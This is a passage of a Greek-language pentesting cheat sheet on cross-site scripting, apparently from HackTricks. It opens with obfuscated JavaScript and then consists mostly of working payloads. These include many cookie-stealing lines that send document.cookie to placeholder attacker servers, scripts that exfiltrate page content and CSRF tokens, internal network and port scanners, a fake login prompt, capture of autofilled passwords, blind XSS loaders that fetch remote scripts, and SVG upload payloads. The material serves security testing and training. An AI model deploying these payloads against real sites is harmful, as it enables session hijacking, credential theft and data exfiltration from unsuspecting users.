゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

Συχνά payloads XSS

Πολλαπλά payloads σε 1

pageSteal Info JS

Ανάκτηση Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Δεν θα μπορέσετε να έχετε πρόσβαση στα cookies από το JavaScript αν η σημαία HTTPOnly είναι ενεργοποιημένη στο cookie. Αλλά εδώ έχετε μερικούς τρόπους να παρακάμψετε αυτήν την προστασία αν είστε αρκετά τυχεροί.

Κλοπή περιεχομένου σελίδας

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);

Εύρεση εσωτερικών διευθύνσεων IP

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}

function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});

setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>

Σαρωτής Θυρών (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Σαρωτής Θυρών (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Οι σύντομοι χρόνοι υποδεικνύουν ένα θύρα που ανταποκρίνεται Οι μακρύτεροι χρόνοι υποδεικνύουν ότι δεν υπάρχει ανταπόκριση.

Ελέγξτε τη λίστα των απαγορευμένων θυρών στο Chrome εδώ και στο Firefox εδώ.

Κουτί για να ζητηθούν διαπιστευτήρια

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Καταγραφή αυτόματης συμπλήρωσης κωδικών πρόσβασης

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Keylogger

Απλά αναζητώντας στο github βρήκα μερικά διαφορετικά:

Κλοπή διακριτικών CSRF

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Κλοπή μηνυμάτων PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Κατάχρηση Υπηρεσιών Εργαζομένων

pageAbusing Service Workers

Πρόσβαση στο Shadow DOM

pageShadow DOM

Πολύγλωττοι

Πληροφορίες για Blind XSS

Μπορείτε επίσης να χρησιμοποιήσετε: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Regex - Πρόσβαση Κρυφού Περιεχομένου

Από αυτή την ανάλυση είναι δυνατόν να μάθουμε ότι ακόμα κι αν μερικές τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατόν να τις βρούμε σε γνωρίσματα JS σε διαφορετικά αντικείμενα. Για παράδειγμα, ένα input ενός REGEX είναι ακόμα δυνατόν να το βρούμε αφού η τιμή του input του regex αφαιρεθεί:

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

Λίστα Brute-Force

Εκμετάλλευση XSS άλλων ευπαθειών

XSS στο Markdown

Μπορείτε να εισάγετε κώδικα Markdown που θα αποτυπωθεί; Ίσως να μπορείτε να πάρετε XSS! Ελέγξτε:

pageXSS in Markdown

XSS προς SSRF

Καταφέρατε XSS σε μια ιστοσελίδα που χρησιμοποιεί caching; Δοκιμάστε να το αναβαθμίσετε σε SSRF μέσω της εισαγωγής Edge Side Include με αυτό το payload:

<esi:include src="http://yoursite.com/capture" />

Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα! Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: XSLT.

XSS σε δυναμικά δημιουργημένα PDF

Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο ελέγχου από τον χρήστη, μπορείτε να εξαπατήσετε το bot που δημιουργεί το PDF να εκτελέσει αυθαίρετο κώδικα JS. Έτσι, αν το bot δημιουργού PDF βρει κάποια είδους ετικέτες HTML, θα τις ερμηνεύσει, και μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να προκαλέσετε ένα Server XSS.

pageServer Side XSS (Dynamic PDF)

Αν δεν μπορείτε να ενσωματώσετε ετικέτες HTML, θα μπορούσε να αξίζει να δοκιμάσετε να ενσωματώσετε δεδομένα PDF:

pagePDF Injection

XSS στο Amp4Email

Το AMP, με στόχο την επιτάχυνση της απόδοσης της ιστοσελίδας σε κινητές συσκευές, ενσωματώνει ετικέτες HTML που συμπληρώνονται από JavaScript για να διασφαλίσει λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά στοιχείων για διάφορα χαρακτηριστικά, προσβάσιμα μέσω στοιχείων AMP.

Η μορφή AMP για Email επεκτείνει συγκεκριμένα στοιχεία AMP σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.

Παράδειγμα εκθεσης XSS στο Amp4Email στο Gmail.

XSS μεταφόρτωση αρχείων (svg)

Μεταφορτώστε ένα αρχείο ως εικόνα όπως το παρακάτω (από http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Βρείτε περισσότερα φορτία SVG στο https://github.com/allanlw/svg-cheatsheet

Διάφορα Κόλπα JS & Σχετικές Πληροφορίες

pageMisc JS Tricks & Relevant Info

Πόροι XSS

Αν σας ενδιαφέρει η καριέρα στο χάκινγκ και να χακάρετε το αχακάριστο - προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated